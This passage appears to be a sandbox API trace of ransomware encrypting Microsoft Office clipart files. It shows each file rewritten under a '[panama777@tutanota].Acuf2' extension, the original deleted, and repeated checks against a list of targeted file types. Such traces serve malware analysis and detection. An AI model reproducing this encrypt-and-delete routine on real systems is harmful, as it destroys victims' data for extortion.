	[0254.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.413] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.413] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0254.414] GetLastError () returned 0x0
	[0254.414] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1ba0, lpOverlapped=0x0) returned 1
	[0254.416] WriteFile (in: hFile=0x358, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1bb0, lpOverlapped=0x0) returned 1
	[0254.416] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.417] WriteFile (in: hFile=0x358, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.417] SetEndOfFile (hFile=0x358) returned 1
	[0254.417] CloseHandle (hObject=0x358) returned 1
	[0254.417] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.417] SetEndOfFile (hFile=0x350) returned 1
	[0254.419] CloseHandle (hObject=0x350) returned 1
	[0254.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 1
	[0254.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63
	[0254.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63
	[0254.420] lstrlenW (lpString=".doc") returned 4
	[0254.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.420] lstrlenW (lpString=".docx") returned 5
	[0254.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.420] lstrlenW (lpString=".pdf") returned 4
	[0254.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.420] lstrlenW (lpString=".xls") returned 4
	[0254.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.420] lstrlenW (lpString=".xlsx") returned 5
	[0254.420] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.420] lstrlenW (lpString=".ppt") returned 4
	[0254.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63
	[0254.420] lstrlenW (lpString=".zip") returned 4
	[0254.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.420] lstrlenW (lpString=".rar") returned 4
	[0254.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.420] lstrlenW (lpString=".bz2") returned 4
	[0254.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.420] lstrlenW (lpString=".7z") returned 3
	[0254.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63
	[0254.420] lstrlenW (lpString=".dbf") returned 4
	[0254.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63
	[0254.420] lstrlenW (lpString=".1cd") returned 4
	[0254.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63
	[0254.420] lstrlenW (lpString=".jpg") returned 4
	[0254.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63
	[0254.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63
	[0254.421] lstrlenW (lpString=".doc") returned 4
	[0254.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.421] lstrlenW (lpString=".docx") returned 5
	[0254.421] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.421] lstrlenW (lpString=".pdf") returned 4
	[0254.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.421] lstrlenW (lpString=".xls") returned 4
	[0254.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.421] lstrlenW (lpString=".xlsx") returned 5
	[0254.421] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.421] lstrlenW (lpString=".ppt") returned 4
	[0254.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63
	[0254.421] lstrlenW (lpString=".zip") returned 4
	[0254.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.421] lstrlenW (lpString=".rar") returned 4
	[0254.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.421] lstrlenW (lpString=".bz2") returned 4
	[0254.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.421] lstrlenW (lpString=".7z") returned 3
	[0254.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63
	[0254.421] lstrlenW (lpString=".dbf") returned 4
	[0254.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63
	[0254.421] lstrlenW (lpString=".1cd") returned 4
	[0254.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63
	[0254.422] lstrlenW (lpString=".jpg") returned 4
	[0254.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.422] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.422] lstrlenW (lpString="AN01039_.WMF") returned 12
	[0254.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.422] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=3344) returned 1
	[0254.422] CloseHandle (hObject=0x350) returned 1
	[0254.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0x20
	[0254.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.423] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.423] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0254.423] GetLastError () returned 0x0
	[0254.423] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xd10, lpOverlapped=0x0) returned 1
	[0254.424] WriteFile (in: hFile=0x358, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xd20, lpOverlapped=0x0) returned 1
	[0254.426] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.426] WriteFile (in: hFile=0x358, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.426] SetEndOfFile (hFile=0x358) returned 1
	[0254.426] CloseHandle (hObject=0x358) returned 1
	[0254.426] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.426] SetEndOfFile (hFile=0x350) returned 1
	[0254.430] CloseHandle (hObject=0x350) returned 1
	[0254.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 1
	[0254.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63
	[0254.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63
	[0254.430] lstrlenW (lpString=".doc") returned 4
	[0254.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.430] lstrlenW (lpString=".docx") returned 5
	[0254.430] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.430] lstrlenW (lpString=".pdf") returned 4
	[0254.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.430] lstrlenW (lpString=".xls") returned 4
	[0254.430] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.430] lstrlenW (lpString=".xlsx") returned 5
	[0254.430] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.430] lstrlenW (lpString=".ppt") returned 4
	[0254.430] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63
	[0254.431] lstrlenW (lpString=".zip") returned 4
	[0254.431] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.431] lstrlenW (lpString=".rar") returned 4
	[0254.431] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.431] lstrlenW (lpString=".bz2") returned 4
	[0254.431] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.431] lstrlenW (lpString=".7z") returned 3
	[0254.431] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63
	[0254.431] lstrlenW (lpString=".dbf") returned 4
	[0254.431] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63
	[0254.431] lstrlenW (lpString=".1cd") returned 4
	[0254.431] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63
	[0254.431] lstrlenW (lpString=".jpg") returned 4
	[0254.431] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63
	[0254.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63
	[0254.431] lstrlenW (lpString=".doc") returned 4
	[0254.431] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.431] lstrlenW (lpString=".docx") returned 5
	[0254.431] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.431] lstrlenW (lpString=".pdf") returned 4
	[0254.431] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.432] lstrlenW (lpString=".xls") returned 4
	[0254.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.432] lstrlenW (lpString=".xlsx") returned 5
	[0254.432] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.432] lstrlenW (lpString=".ppt") returned 4
	[0254.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63
	[0254.432] lstrlenW (lpString=".zip") returned 4
	[0254.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.432] lstrlenW (lpString=".rar") returned 4
	[0254.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.432] lstrlenW (lpString=".bz2") returned 4
	[0254.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.432] lstrlenW (lpString=".7z") returned 3
	[0254.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63
	[0254.432] lstrlenW (lpString=".dbf") returned 4
	[0254.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63
	[0254.432] lstrlenW (lpString=".1cd") returned 4
	[0254.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63
	[0254.432] lstrlenW (lpString=".jpg") returned 4
	[0254.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.432] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.432] lstrlenW (lpString="AN01044_.WMF") returned 12
	[0254.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.433] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=1596) returned 1
	[0254.433] CloseHandle (hObject=0x350) returned 1
	[0254.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20
	[0254.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.433] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.433] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0254.434] GetLastError () returned 0x0
	[0254.434] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x63c, lpOverlapped=0x0) returned 1
	[0254.436] WriteFile (in: hFile=0x358, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x640, lpOverlapped=0x0) returned 1
	[0254.436] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.436] WriteFile (in: hFile=0x358, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.436] SetEndOfFile (hFile=0x358) returned 1
	[0254.437] CloseHandle (hObject=0x358) returned 1
	[0254.437] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.437] SetEndOfFile (hFile=0x350) returned 1
	[0254.577] CloseHandle (hObject=0x350) returned 1
	[0254.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 1
	[0254.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63
	[0254.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63
	[0254.630] lstrlenW (lpString=".doc") returned 4
	[0254.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.630] lstrlenW (lpString=".docx") returned 5
	[0254.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.630] lstrlenW (lpString=".pdf") returned 4
	[0254.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.630] lstrlenW (lpString=".xls") returned 4
	[0254.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.630] lstrlenW (lpString=".xlsx") returned 5
	[0254.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.630] lstrlenW (lpString=".ppt") returned 4
	[0254.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63
	[0254.630] lstrlenW (lpString=".zip") returned 4
	[0254.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.631] lstrlenW (lpString=".rar") returned 4
	[0254.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.631] lstrlenW (lpString=".bz2") returned 4
	[0254.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.631] lstrlenW (lpString=".7z") returned 3
	[0254.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63
	[0254.631] lstrlenW (lpString=".dbf") returned 4
	[0254.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63
	[0254.631] lstrlenW (lpString=".1cd") returned 4
	[0254.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63
	[0254.631] lstrlenW (lpString=".jpg") returned 4
	[0254.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63
	[0254.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63
	[0254.631] lstrlenW (lpString=".doc") returned 4
	[0254.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.631] lstrlenW (lpString=".docx") returned 5
	[0254.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.631] lstrlenW (lpString=".pdf") returned 4
	[0254.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.631] lstrlenW (lpString=".xls") returned 4
	[0254.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.631] lstrlenW (lpString=".xlsx") returned 5
	[0254.631] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.631] lstrlenW (lpString=".ppt") returned 4
	[0254.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63
	[0254.632] lstrlenW (lpString=".zip") returned 4
	[0254.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.632] lstrlenW (lpString=".rar") returned 4
	[0254.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.632] lstrlenW (lpString=".bz2") returned 4
	[0254.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.632] lstrlenW (lpString=".7z") returned 3
	[0254.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63
	[0254.632] lstrlenW (lpString=".dbf") returned 4
	[0254.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63
	[0254.632] lstrlenW (lpString=".1cd") returned 4
	[0254.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63
	[0254.632] lstrlenW (lpString=".jpg") returned 4
	[0254.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.632] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.632] lstrlenW (lpString="AN01084_.WMF") returned 12
	[0254.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0254.634] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=1832) returned 1
	[0254.634] CloseHandle (hObject=0x2a4) returned 1
	[0254.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20
	[0254.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
